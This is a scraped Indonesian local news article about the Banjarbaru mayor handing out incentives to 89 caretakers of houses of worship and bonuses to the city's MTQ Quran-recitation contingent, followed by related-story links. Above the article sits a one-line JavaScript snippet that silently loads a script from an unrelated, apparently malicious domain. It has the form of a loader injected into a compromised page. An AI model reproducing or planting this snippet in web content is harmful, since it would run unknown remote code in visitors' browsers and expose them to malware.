(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Insentif bagi pengurus rumah ibadah se Kota Banjarbaru diserahkan bersama dengan bonus bagi Kafilah MTQ Nasional Kota Banjabaru Tingkat Provinsi Kalsel diberikan oleh Bagian Kesra Setda Kota Banjarbaru, di Aula Linggangan Intan DPRD Kota Banjarbaru, Rabu (6/12).
Penyerahan dilakukan Walikota Banjarbaru H Nadjmi Adhani didampingi Ketua LPTQ Kota Banjarbaru H Darmawan Jaya Setiawan dan Kepala Kantor Kementerian Agama Kota Banjarbaru H Zainal Ilmi.
H Rahmadi, dari Bagian Kesra mengatakan, pemberian bonus kepada peserta MTQ, official dan pelatih pada ajang MTQ Nasional ke 30 Tingkat Provinsi Kalimantan Selatan di Kota Banjarmasin, dimana Pemerintah Kota Banjarbaru mengirimkan 37 kafilah dan Kota banjarbaru berhasil meraih peringkat ketiga.
Sementara pemberian tali asih kepada petugas kebersihan tempat ibadah muslim dan non muslim se Kota Banjarbaru diberikan kepada 89 orang pengelola tempat ibadah yang terdaftar terdiri dari 81 tempat ibadah muslim dan 8 tempat ibadah non muslim. Pemerintah Kota Banjarbaru memberikan tali asih untuk bulan Juli sampai Desember 2017.
H Nadjmi Adhani sangat bahagia sekali dapat bertemu dan mengenal lebih dekat para pengurus rumah ibadah se Kota Banjarbaru. Saat di Kota Banjarbaru sudah ada 96 Mesjid dan Musholla, 6 Gereja, dan 1 Pura, semuanya perlu dirawat untuk kenyamanan  beribadah masyarakat.
“Pengurus rumah ibadah merupakan pekerjaan yang mulia, karena kebersihan rumah ibadah membawa manfaat bagi banyak orang dan akan mempengaruhi kenyamanan dan kekhusyukan beribadah,†ujarnya.
Rumah ibadah merupakan tempat yang teramat penting dan sakral bagi seluruh umat beragama, sebagai media kontemplasi dan mendekatkan diri kepada sang pencipta.
“Karena itu ketersediaan rumah ibadah yang representatif beserta kesiapannya menjadi pusat pelaksanaan berbagai kegiatan keagamaan masyarakat sangatlah diperlukan,†katanya.
“Insentif ini sebagai bentuk kepedulian dan rasa terima kasih atas jasa-jasa para pengurus rumah ibadah dalam rangka menjalankan tugas-tugas syiar agama,†ucap Nadjmi.
H Nadjmi Adhani berharap pemberian tali asih ini dapat membawa manfaat optimal bagi pengelola rumah ibadah. (bie)
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More
KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More
KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
This website uses cookies.